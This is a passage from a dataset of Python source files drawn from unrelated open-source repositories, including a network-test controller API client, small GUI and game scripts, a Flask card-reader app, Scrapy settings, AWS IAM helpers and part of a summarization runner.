\"rb\")}\n response = self.__session.post(\n self.controllerAddress + '/files?type=multipart',\n files=files\n )\n return response\n\n def deleteFile(self, fileId):\n return self.__session.delete(\n self.controllerAddress + '/files' + fileId\n )\n\n def listAttackProfiles(self):\n return self.__session.get(\n self.controllerAddress + '/profiles/attacks'\n )\n\n def createAttackProfile(self, name, description, scenarioIds):\n response = self.__session.post(\n self.controllerAddress + '/profiles/attacks',\n json={\n 'name': name,\n 'description': description,\n 'scenarios': scenarioIds,\n 'scenarioTypes': ['attack']\n }\n )\n return response\n\n def createApplicationProfile(self, name, description, scenarioIds):\n response = self.__session.post(\n self.controllerAddress + '/profiles/apps',\n json={\n 'name': name,\n 'description': description,\n 'category': 'Miscellaneous',\n 'scenarios': scenarioIds,\n 'scenarioTypes': ['app']\n }\n )\n return response\n\n def createMalwareProfile(self, name, description, scenarioIds):\n response = self.__session.post(\n self.controllerAddress + '/profiles/malware',\n json={\n 'name': name,\n 'description': description,\n 'scenarios': scenarioIds,\n 'scenarioTypes': ['malware'],\n 'contentType': 'malware'\n }\n )\n return response\n\n def listMalwareProfiles(self):\n return self.__session.get(\n self.controllerAddress + '/profiles/malware'\n )\n\n def listApplicationProfiles(self):\n return self.__session.get(\n self.controllerAddress + '/profiles/apps'\n )\n\n def createAttackScenario(self, fileId, name, description):\n response = self.__session.post(\n self.controllerAddress + '/scenarios/attacks',\n json={\n 'fileId': fileId,\n 'name': name,\n 'description': description\n }\n )\n return response\n\n def createApplicationScenario(self, fileId, name, description):\n response = self.__session.post(\n self.controllerAddress + '/scenarios/apps',\n json={'fileId': fileId,\n 'name': name,\n 'description': description,\n 'category': 'Miscellaneous'\n }\n )\n return response\n\n def createMalwareScenario(self, fileId, name, description):\n response = self.__session.post(\n self.controllerAddress + '/scenarios/malware',\n json={'fileId': fileId,\n 'name': name,\n 'description': description,\n 'category': 'Miscellaneous'\n }\n )\n return response\n\n def getAttackProfile(self, profileId):\n return self.__session.get(\n self.controllerAddress + \"/profiles/attacks/\" + profileId\n )\n\n def getCyberSecurityAssessmentTest(self, csaTestId):\n return self.__session.get(\n self.controllerAddress + \"/tests/cyber_security_assessment/\" + csaTestId\n )\n\n def getHttpThroughputTest(self, testId):\n return self.__session.get(\n self.controllerAddress + \"//tests/http_throughput/\" + testId\n )\n\n def updateCyberSecurityAssessmentTest(self, csaTest, csaTestId):\n return self.__session.put(\n self.controllerAddress +\n \"/tests/cyber_security_assessment/\" + csaTestId,\n json=csaTest\n )\n\n def startTest(self, testId):\n return self.__session.put(\n self.controllerAddress + \"/tests/\" + testId + \"/start\"\n )\n\n def getTestRun(self, testRunId):\n return self.__session.get(\n self.controllerAddress + \"/test_runs/\" + testRunId\n )\n\n def fetchTestRunTimelineStatistics(self, testRunId):\n return self.__session.get(\n self.controllerAddress + \"/test_runs/\" + testRunId + \"/timeline\"\n )\n", "source": "acastaner/cf-py-cfclient", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport unittest\n\nfrom qqbot.core.util.json_util import JsonUtil\n\n\nclass JsonUtilTestCase(unittest.TestCase):\n def test_json2obj(self):\n class Score:\n def __init__(self):\n self.chinese = \"\"\n self.math = \"\"\n\n class Book:\n def __init__(self):\n self.type = \"\"\n self.name = \"\"\n\n class Student:\n def __init__(self, data=None):\n self.books = [Book()]\n self.score = Score()\n self.name = \"\"\n self.id = \"\"\n if data:\n self.__dict__ = data\n\n json_str = (\n '{\"id\":\"123\", \"score\":{\"math\":100, \"chinese\":98}, '\n '\"books\":[{\"name\":\"math\", \"type\":\"study\"}, '\n '{\"name\":\"The Little Prince\", \"type\":\"literature\"}]} '\n )\n # student = Student()\n # JsonUtil.json_str2obj(json_data, student)\n test: Student = json.loads(json_str, object_hook=Student)\n print(isinstance(test, Student))\n print(test.__dict__)\n self.assertEqual(\"123\", test.id) # add assertion here\n self.assertEqual(\"math\", test.books[0].name) # add assertion here\n\n def test_obj2json(self):\n class Person:\n def __init__(self, data=None):\n self.name = \"\"\n self.surname = \"\"\n if data:\n self.__dict__ = data\n\n person = Person()\n person.name = \"Hello\"\n person.surname = \"World\"\n json_str = JsonUtil.obj2json_str(person)\n\n person2 = json.loads(json_str, object_hook=Person)\n self.assertEqual(\"Hello\", person2.name) # add assertion\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "source": "SuperKuroko/botpy", "license": "MIT"} {"text": "#! /usr/bin/env python3\nimport wikipedia\nfrom tkinter import *\nfrom tkinter.messagebox import showinfo\n\ngui = Tk() #objek\ngui.title('WIKIPEDIA SEARCH')\ngui.geometry('200x70') #function\n\n#function\ndef wiki() :\n search = entry.get()\n Hasil = wikipedia.summary(search)\n showinfo(search,Hasil)\n\nlabel = Label(gui,text=\"Wikipedia Search :\")\nlabel.grid(row=0,column=0)\n\nentry = Entry(gui)\nentry.grid(row=1,column=0)\n\nbutton = Button(gui,text=\"Search\",command=wiki)\nbutton.grid(row=1,column=1,padx=10)\n\ngui.mainloop()\n\n \n\n", "source": "newtoallofthis123/python-dev-bin", "license": "MIT"} {"text": "import pygame, sys\npygame.init()\nscreen = pygame.display.set_mode([640,480])\nscreen.fill([255, 255, 255])\n\nclass Ball(pygame.sprite.Sprite):\n def __init__(self, image, location, speed):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(image)\n self.rect = self.image.get_rect()\n self.rect.left, self.rect.top = location\n self.speed = speed\n \n def move(self):\n self.rect = self.rect.move(self.speed)\n if self.rect.left < 0 or self.rect.right > 640:\n self.speed[0] = -self.speed[0]\n if self.rect.top < 0 or self.rect.bottom > 480:\n self.speed[1] = -self.speed[1]\n \nimg_file = \"wackyball.bmp\"\n\n\nball = Ball(img_file, [200, 200], [3, 3])\n# Adds each ball to the list as it\u2019s created\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n pygame.time.delay(20)\n # Redraws the screen\n screen.fill([255, 255, 255])\n ball.move()\n screen.blit(ball.image, ball.rect)\n pygame.display.flip()\npygame.quit()\n", "source": "3dimaging/FLL2021", "license": "Apache-2.0"} {"text": "import os\n\nprint('Hello World!')\n\nprint('I just entered the branch \\'develop\\'')\n\nx = 1\n\nif -1 != x:\n print('Neni rovno!!!')\n\nprint('Nachazim se v novem developu, ten stary uz jsem smazal!')\n\nprint('Neco jsem dodelat, ale jeste nepridal')\n\nfolder = 'C:/Users/Vojta/Documents/git/repo-try-out'\nfiles_dirs = os.listdir(folder)\nprint(files_dirs)\n\nfor file_dir in range(len(files_dirs)):\n if not os.path.isdir(os.path.join(folder, str(file_dir))):\n print('Je to file!')\n else:\n print('Neni to file, je to folder!')", "source": "VojtaKai/repo-try-out", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 19 21:42:34 2020\n\n@author: lukepinkel\n\"\"\"\n\nLBFGSB_options = dict(disp=10, maxfun=5000, maxiter=5000, gtol=1e-8)\nSLSQP_options = dict(disp=True, maxiter=1000)\nTrustConstr_options = dict(verbose=3, gtol=1e-5)\nTrustNewton_options = dict(gtol=1e-5)\nTrustConstr2_options = dict(verbose=0, gtol=1e-6)\ndefault_opts = {'L-BFGS-B':LBFGSB_options, \n 'l-bfgs-b':LBFGSB_options,\n 'lbfgsb':LBFGSB_options,\n 'LBFGSB':LBFGSB_options,\n 'SLSQP':SLSQP_options,\n 'slsqp':SLSQP_options,\n 'trust-constr':TrustConstr_options,\n 'trust-ncg':TrustNewton_options}\n\ndef process_optimizer_kwargs(optimizer_kwargs, default_method='trust-constr'):\n keys = optimizer_kwargs.keys()\n \n if 'method' not in keys:\n optimizer_kwargs['method'] = default_method\n \n if 'options' not in keys:\n optimizer_kwargs['options'] = default_opts[optimizer_kwargs['method']]\n else:\n options_keys = optimizer_kwargs['options'].keys()\n for dfkey, dfval in default_opts[optimizer_kwargs['method']].items():\n if dfkey not in options_keys:\n optimizer_kwargs['options'][dfkey] = dfval\n return optimizer_kwargs\n \n \n \n \n \n \n ", "source": "lukepinkel/pylmm", "license": "MIT"} {"text": "import datetime\nimport json\nimport os\nimport time\n\nimport requests\nfrom flask import render_template, redirect, request, session\n\nfrom app import app\nimport CardReader\n\nCONNECTED_NODE_ADDRESS = \"http://169.254.62.57:8000\"\n\nposts = []\npk = None\n\ndef fetch_posts(isFiltered=True):\n get_chain_address = \"{}/chain\".format(CONNECTED_NODE_ADDRESS)\n response = requests.get(get_chain_address)\n if response.status_code == 200:\n content = []\n chain = json.loads(response.content)\n for block in chain[\"chain\"]:\n for tx in block[\"transactions\"]:\n ty = {}\n ty[\"index\"] = block[\"index\"]\n ty[\"hash\"] = block[\"previous_hash\"]\n ty[\"timestamp\"] = tx[\"timestamp\"]\n #print(tx)\n new_tx_address = \"{}/api/profile\".format(CONNECTED_NODE_ADDRESS)\n p1,status1 = requests.post(new_tx_address, headers={'Content-type': 'application/json'}, json={'pubkey': tx['publicOne']}).json()\n p2,status2 = requests.post(new_tx_address, headers={'Content-type': 'application/json'}, json={'pubkey': tx['publicTwo']}).json()\n #print(status1,status2)\n if status1 == 200 and status2 == 200:\n p = p1['person']\n\n ty['one'] = { \"publicKey\":tx['publicOne'],\n \"lastname\": p['lastname'],\n \"firstname\": p['firstname'],\n \"email\": p['email'],\n \"phonenr\": p['phonenr'],\n \"date_created\": p['date_created']\n }\n p = p2['person']\n ty['two'] = {\"publicKey\": tx['publicTwo'],\n \"lastname\": p['lastname'],\n \"firstname\": p['firstname'],\n \"email\": p['email'],\n \"phonenr\": p['phonenr'],\n \"date_created\": p['date_created']\n }\n #print(ty)\n content.append(ty)\n\n global posts\n\n if isFiltered:\n #print(_posts)\n #print(_posts[0]['one']['publicKey'])\n #posts = list(filter(lambda k: k['one']['publicKey'] == pk, _posts))\n #lambda k: print(k['one']['publicKey']), _posts\n _posts = []\n if pk is not None and pk != '':\n for k in content:\n if k['one']['publicKey'] == pk.hex():\n _posts.append(k)\n else:\n # Return error\n pass\n else:\n _posts = content\n posts = sorted(_posts, key=lambda k: k['timestamp'],\n reverse=True)\n\n@app.route('/display')\ndef index():\n new_tx_address = \"{}/\".format(CONNECTED_NODE_ADDRESS)\n return requests.get(new_tx_address).text\n\n\n@app.route('/register')\ndef register():\n new_tx_address = \"{}/register\".format(CONNECTED_NODE_ADDRESS)\n return requests.get(new_tx_address).text\n\n@app.route('/login')\ndef login():\n new_tx_address = \"{}/login\".format(CONNECTED_NODE_ADDRESS)\n return requests.get(new_tx_address).text\n\n@app.route('/me', methods=['GET', 'POST'])\ndef submit_login():\n global pk\n new_tx_address = \"{}/login\".format(CONNECTED_NODE_ADDRESS)\n if pk:\n req = requests.post(new_tx_address, headers={'Content-type': 'application/json'}, json={'pubkey': pk.hex()})\n return req.text\n\n reader = CardReader.initReading()\n if reader:\n pubkey = CardReader.read_public_key(reader, 1)\n\n if CardReader.auth(reader, pubkey):\n req = requests.post(new_tx_address,headers={'Content-type': 'application/json'},json={'pubkey': pubkey.hex()})\n pk = pubkey\n return req.text\n else:\n return \"PubKey not found.\"\n else:\n return \"No Card found!\"\n\n@app.route('/register', methods=['POST'])\ndef submit_register():\n new_tx_address = \"{}/register\".format(CONNECTED_NODE_ADDRESS)\n reader = CardReader.initReading()\n if reader is None:\n return \"No reader connected!\"\n if not CardReader.initCard(reader):\n return \"Card not writeable or a user is already registered with this card!\"\n\n pubkey = CardReader.read_public_key(reader, 1)\n\n if pubkey is None:\n return \"No pubkey!\"\n else:\n global pk\n pk = pubkey\n firstname = request.form['firstname']\n lastname = request.form['lastname']\n phonenr = request.form['phonenr']\n email = request.form['email']\n return requests.post(new_tx_address,headers={'Content-type': 'application/json'},json={'pubkey': pubkey.hex(), 'firstname': firstname, 'lastname': lastname, 'email': email, 'phonenr': phonenr}).text\n\n@app.route('/')\ndef display():\n filter = request.args.get('filter')\n if not filter or filter == 'True':\n filter = True\n else:\n filter = False\n\n fetch_posts(filter)\n return render_template('index.html',\n title='ChainMeUp',\n posts=posts,\n filter=filter,\n node_address=CONNECTED_NODE_ADDRESS,\n readable_time=timestamp_to_string)\n\n\n@app.route('/submit', methods=['POST'])\ndef submit_textarea():\n new_tx_address = \"{}/new_transaction\".format(CONNECTED_NODE_ADDRESS)\n\n reader = CardReader.initReading()\n if reader:\n global pk\n publicOne = pk\n publicTwo = CardReader.read_public_key(reader, 1)\n if publicOne is not None and publicTwo is not None:\n if publicOne != publicTwo:\n\n json_object = {'publicOne': publicOne.hex(),\n 'publicTwo': publicTwo.hex(),\n 'timestamp': time.time()}\n\n hash, sign = CardReader.generateSignature(reader, json_object)\n\n if CardReader.verifyPub(reader, publicTwo, hash, sign):\n requests.post(new_tx_address,\n headers={'Content-type': 'application/json'},\n json=json_object)\n\n return redirect('/me')\n\n@app.route('/logout')\ndef logout():\n global pk\n pk = None\n return redirect('/')\n\ndef timestamp_to_string(epoch_time):\n return datetime.datetime.fromtimestamp(epoch_time).strftime('%H:%M')\n\n@app.route('/graph/graphFile.json')\ndef get_graph():\n nodes = []\n links = []\n #meName = posts[0]['one']['lastname'] + \" \" + posts[0]['one']['firstname']\n #nodes.append({\n # \"name\": meName,\n # \"group\": posts[0]['one']['publicKey']\n #})\n i = 0\n for post in posts:\n otherName = post['two']['lastname'] + \" \" + post['two']['firstname']\n\n nodes.append({\n \"name\": otherName,\n \"group\": posts[0]['two']['publicKey']\n })\n print(nodes)\n\n links.append({\n \"source\": i,\n \"target\": 0,\n \"weight\": 2\n })\n\n i+=1;\n\n r = {\"nodes\": nodes, \"links\": links}\n\n print(r)\n\n return (r)\n", "source": "schettn/ChainMeUp", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nimport os\nimport sys\n\n# \u672c\u914d\u7f6e\u6587\u4ef6\u5730\u5740\nSCRAPY_SETTINGS_PATH = os.path.realpath(__file__)\n\n# \u627e\u5230\u76f8\u5bf9\u8def\u5f84\u52a0\u5165sys.path\u4e2d\n# \u672c\u9879\u76eedjango\u8def\u5f84 '.../TechDict/app/tech_dict'\n# scrapy setting\u6587\u4ef6\u8def\u5f84 '.../TechDict/app/spiders/spiders/settings.py'\n# django\u6839\u76ee\u5f55\u5730\u5740\uff0c\u9ed8\u8ba4\u662fsettings\u4e0a\u97623\u7ea7\nDJANGO_PATH_UP_LEVEL = 3\nDJANGO_PROJECT_NAME = 'tech_dict'\n\n# django \u914d\u7f6e\u6587\u4ef6\u5730\u5740\n_p = SCRAPY_SETTINGS_PATH\nfor i in xrange(DJANGO_PATH_UP_LEVEL):\n _p = os.path.split(_p)[0]\n\nDJANGO_PROJECT_PATH = os.path.join(_p, DJANGO_PROJECT_NAME)\nsys.path.insert(0, DJANGO_PROJECT_PATH)\nos.environ['DJANGO_SETTINGS_MODULE'] = DJANGO_PROJECT_NAME + '.settings'\n\n\nBOT_NAME = 'spiders'\n\nSPIDER_MODULES = ['spiders.spiders']\nNEWSPIDER_MODULE = 'spiders.spiders'\n\nDOWNLOADER_MIDDLEWARES = {\n 'spiders.misc.middleware.CustomHttpProxyMiddleware': 400,\n 'spiders.misc.middleware.CustomUserAgentMiddleware': 401,\n 'spiders.misc.middleware.CustomNextPageMiddleware': 402,\n}\n\nITEM_PIPELINES = {\n 'spiders.pipelines.DjangoPipeline': 300,\n}\n\n# \u4e0b\u8f7d\u5668\u8d85\u65f6\u65f6\u95f4(\u5355\u4f4d: \u79d2)\nDOWNLOAD_TIMEOUT = 20\n\n# \u4e0b\u8f7d\u5ef6\u8fdf\n# http://scrapy-chs.readthedocs.org/zh_CN/latest/topics/practices.html\n# \u8bbe\u7f6e\u4e0b\u8f7d\u5ef6\u8fdf(2\u6216\u66f4\u9ad8)\u3002\u53c2\u8003 DOWNLOAD_DELAY \u8bbe\u7f6e\nDOWNLOAD_DELAY = 0.8\n# \u5982\u679c\u542f\u7528\uff0c\u5f53\u4ece\u76f8\u540c\u7684\u7f51\u7ad9\u83b7\u53d6\u6570\u636e\u65f6\uff0cScrapy\u5c06\u4f1a\u7b49\u5f85\u4e00\u4e2a\u968f\u673a\u7684\u503c\n# \u4f7f\u75280.5\u52301.5\u4e4b\u95f4\u7684\u4e00\u4e2a\u968f\u673a\u503c * DOWNLOAD_DELAY \u7684\u7ed3\u679c\u4f5c\u4e3a\u7b49\u5f85\u95f4\u9694\nRANDOMIZE_DOWNLOAD_DELAY = True\n\n# \u81ea\u52a8\u9650\u901f(AutoThrottle)\u6269\u5c55\n# http://scrapy-chs.readthedocs.org/zh_CN/latest/topics/autothrottle.html\nAUTOTHROTTLE_ENABLED = True\n\nLOG_LEVEL = 'INFO'\nLOG_FILE = 'log/paper_edu.log'\n\n# \u7981\u7528cookie\nCOOKIES_ENABLED = False\n", "source": "duoduo369/TechDict", "license": "MIT"} {"text": "a1 = 1\na2 = 2\nan = a1 + a2\nsum_ = a2 \n\nprint(a1, ',', a2, end=\", \")\nfor n in range(100):\n an = a1 + a2\n if an > 4000000:\n print('\\n=== DONE ===')\n break\n\n if an % 2 == 0:\n sum_ += an\n print(an, end=\", \")\n\n a1 = a2\n a2 = an\n\nprint(\"Even term sum =\", sum_)", "source": "adadesions/python-founder-class", "license": "MIT"} {"text": "# Copyright 2017 Walmart Stores Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"add cluster_quotas table\n\nRevision ID: 90666bfc10aa\nRevises: 4f65b4f91c39\nCreate Date: 2019-01-18 10:54:25.493550\n\n\"\"\"\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = '90666bfc10aa'\ndown_revision = '4f65b4f91c39'\n\n\ndef upgrade():\n\n op.create_table(\n u'cluster_quotas',\n sa.Column(u'id', sa.String(36), nullable=False),\n sa.Column(u'cluster_total_loadbalancers', sa.Integer(), nullable=True),\n sa.Column(u'max_healthmonitors_per_pool', sa.Integer(), nullable=True),\n sa.Column(u'max_listeners_per_loadbalancer',\n sa.Integer(), nullable=True),\n sa.Column(u'max_members_per_pool', sa.Integer(), nullable=True),\n sa.Column(u'max_pools_per_loadbalancer', sa.Integer(), nullable=True),\n sa.Column(u'max_l7policies_per_listener', sa.Integer(), nullable=True),\n sa.Column(u'max_l7rules_per_l7policy', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint(u'id')\n )\n", "source": "BoTranVan/octavia", "license": "Apache-2.0"} {"text": "\r\nimport os\r\nimport sys\r\nfrom os import path\r\n\r\ncurrent_dir = path.dirname(path.abspath(__file__))\r\nwhile path.split(current_dir)[-1] != r'Heron':\r\n current_dir = path.dirname(current_dir)\r\nsys.path.insert(0, path.dirname(current_dir))\r\n\r\nfrom Heron import general_utils as gu\r\nExec = os.path.abspath(__file__)\r\n\r\n\r\n# \r\n\r\n\"\"\"\r\nProperties of the generated Node\r\n\"\"\"\r\nBaseName = 'TL Experiment Phase 2'\r\nNodeAttributeNames = ['Parameters', 'Levers Box In', 'Command to Screens', 'Command to Reward Poke']\r\nNodeAttributeType = ['Static', 'Input', 'Output', 'Output']\r\nParameterNames = ['Reward On Poke', 'Reward On Poke Delay / sec', 'Trap On', 'Max Dist to Target', 'Speed deg/sec',\r\n 'Variable Targets', 'Must Lift at Target', '# Pellets']\r\nParameterTypes = ['bool', 'float', 'bool', 'int', 'float', 'bool', 'bool', 'int']\r\nParametersDefaultValues = [False, 0.0, True, 90, 25, False, False, 1]\r\nWorkerDefaultExecutable = os.path.join(os.path.dirname(Exec), 'tl_experiment_phase_2_worker.py')\r\n\r\n# \r\n\r\n\r\n# \r\nif __name__ == \"__main__\":\r\n tl_experiment_phase_2_com = gu.start_the_transform_communications_process(NodeAttributeType, NodeAttributeNames)\r\n gu.register_exit_signals(tl_experiment_phase_2_com.on_kill)\r\n tl_experiment_phase_2_com.start_ioloop()\r\n\r\n# \r\n", "source": "Heron-Repositories/Transfer-Learning-In-Animals", "license": "MIT"} {"text": "\n\"\"\"\nThis module will be utilized for using the AWS IAM related tasks of the package\n\"\"\"\n\n\n\nimport boto3\nimport botocore\n\n\nfrom pyawscli.colored import coloredtext\nfrom pyawscli.progressbar import progressbar\n\niam = boto3.client('iam')\n\n\n\n\ndef getusers(show):\n \"\"\"\n This function is used to get the list of all users in IAM\n\n \"\"\"\n try:\n users=iam.list_users()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting user data: \\n\\n\\n\")\n print(e)\n userlist=[]\n \n for user in users['Users']:\n name=user['UserName']\n if show:\n print(\"> \"+name)\n userlist.append({\"name\":name})\n return userlist\n\ndef getgroups(show):\n \"\"\"\n This function is used to get the list of all Groups in IAM\n\n \"\"\"\n try:\n groups=iam.list_groups()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting group data: \\n\\n\\n\")\n print(e)\n grouplist=[]\n \n for group in groups['Groups']:\n name=group['GroupName']\n if show:\n print(\"> \"+name)\n grouplist.append({\"name\":name})\n\n return grouplist\n\ndef getaccesskeys(show):\n \"\"\"\n This function is used to get the list of all accesskeys\n\n \"\"\"\n try:\n accesskeys=iam.list_access_keys()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting access key data: \\n\\n\\n\")\n print(e)\n accesskeylist=[]\n \n for accesskey in accesskeys['AccessKeyMetadata']:\n name=accesskey['UserName']\n accesskeyid=accesskey['AccessKeyId']\n if show:\n print(\"> \"+name)\n accesskeylist.append({\"name\":accesskeyid})\n\n return accesskeylist\n\ndef getroles(show):\n \"\"\"\n This function is used to get the list of all roles in IAM\n\n \"\"\"\n try:\n roles=iam.list_roles()\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while getting user data: \\n\\n\\n\")\n print(e)\n roleslist=[]\n \n for role in roles['Roles']:\n name=role['RoleName']\n if show:\n print(\"> \"+name)\n roleslist.append({\"name\":name})\n return roleslist\n\n\n############################ DELETE FUNCTIONS ################################\n\n\n\n\n\n\ndef deleteuser(user_choices):\n \"\"\"\n This function is used to delete user by giving/selecting parameters\n \"\"\"\n progressbar(\"Deleting user\")\n username=user_choices['user'][0]\n try:\n iam.delete_user( UserName=str(username))\n print(\"\\n \\n User \" +username +\" has been deleted \\n \\n\")\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while deleting user: \\n\\n\\n\")\n print(e)\n\ndef deletegroup(group_choices):\n \"\"\"\n This function is used to delete group by giving/selecting parameters\n \"\"\"\n progressbar(\"Deleting Group\")\n groupname=group_choices['group'][0]\n try:\n iam.delete_group( GroupName=str(groupname))\n print(\"\\n \\n Group \" +groupname +\" has been deleted \\n \\n\")\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while deleting group: \\n\\n\\n\")\n print(e)\ndef deleteaccesskey(accesskey_choices):\n \"\"\"\n This function is used to delete accesskey by giving/selecting parameters\n \"\"\"\n progressbar(\"Deleting Access Key\")\n accesskeyname=accesskey_choices['accesskey'][0]\n try:\n \n iam.delete_access_key(\n AccessKeyId=str(accesskeyname)\n )\n print(\"\\n \\n Accesskey \" +accesskeyname +\" has been deleted \\n \\n\")\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while deleting access key: \\n\\n\\n\")\n print(e)", "source": "darshan-raul/Python-Package-", "license": "MIT"} {"text": "import numpy as np #we use numpy for lots of things\r\n\r\ndef main():\r\n\ti=0 # intergers can be declared with a number\r\n\tn=10 #here is another interger\r\n\tx=119.0 #floating ppoint nums are declared with a \". \"\r\n\r\n\t# we can use numpy to declare arrays quickly\r\n\t# arrays are collection of numbers were each number is indexed by \r\n\t# another number\r\n\r\n\ty = np.zeros(n,dytpe=float) #delcares 10 zeros as floats using np\r\n\r\n\t#we can use for lopps to iterate with a variable\r\n\tfor i in range(n): # i in range[0.n-1]\r\n\t\ty[i] = 2.0 * float(i) +1. #set y=2i+1 as floats\r\n\r\n\t# we can alsoo simpy iterate throgh a variable\r\n\tfor y_element in y:\r\n\t\tprint(y_element)\r\n\r\n#execute the main function\r\nif __name__ == \"__main__\":\r\n\tmain()", "source": "Javip142/astr-119", "license": "MIT"} {"text": "\"Example substitution; adapted from t_sub.py/t_NomialSubs /test_Basic\"\nfrom gpkit import Variable\nx = Variable(\"x\")\np = x**2\nassert p.sub({x: 3}) == 9\nassert p.sub({x.key: 3}) == 9\nassert p.sub({\"x\": 3}) == 9\n", "source": "convexengineering/gpk", "license": "MIT"} {"text": "from __future__ import print_function, unicode_literals\n\nimport hashlib\nimport json\nimport logging\nimport os\nimport re\nfrom os import path\n\nimport dill as pickle\nimport dill as pickle\nimport pandas as pd\n\nfrom algorithms.flight_recorder import FlightRecorder, Record\nfrom algorithms.oracle.human_oracle import HumanOracle\nfrom algorithms.simulated_feedback import SimulatedFeedback\nfrom algorithms.upper_bound_ilp import ExtractiveUpperbound\nfrom baselines.sume_wrap import SumeWrap\nfrom model.topic import Topic\nfrom rouge.rouge import Rouge\nfrom utils.data_helpers import load_w2v_embeddings\nfrom utils.writer import write_to_file, write_details_file\nfrom utils.load_clusters import get_clusters\nimport random\nfrom performance_utils.mlogger import MeasurementLogger\nfrom performance_utils.timer import IterationTimer, RunTimer\nfrom performance_utils.mreader import MeasurementReader\nimport threading\n\ndef roundup(x):\n return int(math.ceil(x / 100.0)) * 100\n\n\ndef get_k_limit(data_set, topic):\n # dumsum = sume.ConceptBasedILPSummarizer(\" \", language, True)\n # dumsum.sentences = SumeWrap(language).load_sume_sentences(docs, parser_type, parse_info)\n # dumsum.prune_sentences(remove_citations=True, remove_redundancy=True, imp_list=[])\n # topic_sentence_size = len(dumsum.sentences)\n from log_folder import log_folder\n mreader = MeasurementReader()\n mreader.info['dataset'] = data_set\n mreader.read_corpora_stats(log_folder)\n mreader.set_topic_rid(topic)\n topic_sentence_size = mreader.get_corpus_stat(\"Corpus Size after\")\n return topic_sentence_size\n\n\ndef get_flightrecorder_from_file(weights_file=None):\n \"\"\"\n Parses a json containing the feedbacks. And verifies its layout.\n\n :param weights_file:\n :return: dict of str -> double\n \"\"\"\n flightrecorder = FlightRecorder()\n if weights_file is None:\n return flightrecorder\n elif weights_file.endswith(\".json\"):\n df = pd.read_json(path.normpath(weights_file))\n elif weights_file.endswith(\".csv\"):\n df = pd.read_csv(path.normpath(weights_file))\n\n record = Record()\n last_iteration = 0\n for row in df.iterrows():\n if row[1].iteration > last_iteration:\n flightrecorder.add_record(record)\n record = Record()\n last_iteration = row[1].iteration\n\n if row[1].value.lower() == \"accept\":\n record.accept.union_update([row[1].concept])\n elif row[1].value.lower() == \"reject\":\n record.reject.union_update([row[1].concept])\n elif row[1].value.lower() == \"implicit_reject\":\n record.implicit_reject.union_update([row[1].concept])\n\n flightrecorder.add_record(record)\n\n return flightrecorder\n\n\ndef load_ub_summary(language, docs, models, size, ngram_type=2,\n base_dir=path.normpath(path.expanduser(\"~/.ukpsummarizer/cache/\"))):\n import hashlib\n m = hashlib.sha256()\n shortened_docs = [path.split(f)[1] for (f, _) in docs]\n for doc in sorted(shortened_docs):\n m.update(doc)\n shortened_models = [path.split(f)[1] for (f, _) in models]\n for model in sorted(shortened_models):\n m.update(model)\n m.update(str(size))\n m.update(language)\n m.update(str(ngram_type))\n h = m.hexdigest()\n jsonloc = path.normpath(path.join(base_dir, h + \".json\"))\n if path.isfile(jsonloc):\n try:\n ubs = json.load(open(jsonloc))\n upsum = ubs[\"summary\"]\n return upsum\n except:\n pass\n upsum = ExtractiveUpperbound(language)\n ub_summary = upsum(docs, models, size, ngram_type)\n jdict = {\"docs\": sorted(shortened_docs), \"summary\": ub_summary, \"models\": sorted(shortened_models), \"size\": size,\n \"language\": language, \"ngram_type\": ngram_type}\n j = json.dumps(jdict)\n write_to_file(j, jsonloc)\n return ub_summary\n\n\ndef convert_to_json(sentences):\n \"\"\"\n\n :param sentences: list(baselines.sume.base.Sentence)\n :return:\n \"\"\"\n log = logging.getLogger()\n\n for s in sentences:\n t = {\n \"untokenized_form\": s.untokenized_form,\n \"concepts\": s.concepts,\n \"untokenized_concepts\": s.untokenized_concepts,\n \"doc_id\": s.doc_id,\n \"sent_id\": s.position,\n \"length\": s.length,\n \"tokens\": s.tokens,\n \"phrases\": s.phrases,\n \"untokenized_phrases\": s.raw_phrases\n }\n yield t\n\nclass SingleTopicRunner(object):\n tlog = logging.getLogger(\"timings\")\n\n def __init__(self, iobasedir, rouge_dir, out=None, scores_dir=None, override_results_files=False,\n pickle_store=None, k=0.1):\n self.iobasedir = path.normpath(path.expanduser(iobasedir))\n # resolved_rouge_dir = path.normpath(path.expanduser(rouge_dir))\n self.rouge = Rouge(rouge_dir)\n self.k = k\n if out is None:\n self.out = None\n else:\n self.out = path.normpath(path.expanduser(out))\n if scores_dir is None:\n self.scores_storage_path = path.normpath(path.join(self.iobasedir, \"scores_new\"))\n else:\n self.scores_storage_path = path.normpath(path.join(self.iobasedir, scores_dir))\n\n if not path.exists(self.scores_storage_path):\n os.mkdir(self.scores_storage_path)\n\n self.override_results_switch = override_results_files\n\n if pickle_store is None:\n self.pickle_store = pickle_store\n else:\n p, f = path.split(path.join(self.iobasedir, pickle_store))\n if path.exists(p):\n self.pickle_store = path.join(self.iobasedir, pickle_store)\n else:\n p, f = path.split(pickle_store)\n if (path.exists(p)):\n self.pickle_store = pickle_store\n else:\n raise BaseException(\n \"Cannot resolve %s to a existing path for storing the serialized summarizer\" % (pickle_store))\n\n def single_iteration(self, picklein, pickleout=None, 